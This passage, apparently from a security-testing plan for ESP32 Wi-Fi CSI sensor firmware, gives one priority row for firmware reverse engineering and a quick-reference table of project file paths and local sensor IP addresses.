| P3 | Firmware RE (4.1, 4.2) | Easy | Info -- aids other attacks | `strings`, `binwalk` |
|
|
|
|
---
|
|
|
|
## Quick Reference: Files and Paths
|
|
|
|
| Item | Path |
|
|
|------|------|
|
|
| Firmware source | `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` |
|
|
| Binary | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin` |
|
|
| ELF | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf` |
|
|
| sdkconfig | `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults` |
|
|
| Partitions | `/home/user/git/esp32-hacking/get-started/csi_recv_router/partitions.csv` |
|
|
| Security audit | `/home/user/git/esp32-hacking/SECURITY-AUDIT.md` |
|
|
| esp-ctl auth | `/home/user/git/esp-ctl/src/esp_ctl/auth.py` |
|
|
| NVS tool | `$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py` |
|
|
| Sensors | `192.168.129.29` (muddy-storm), `.30` (amber-maple), `.31` (hollow-acorn) |
|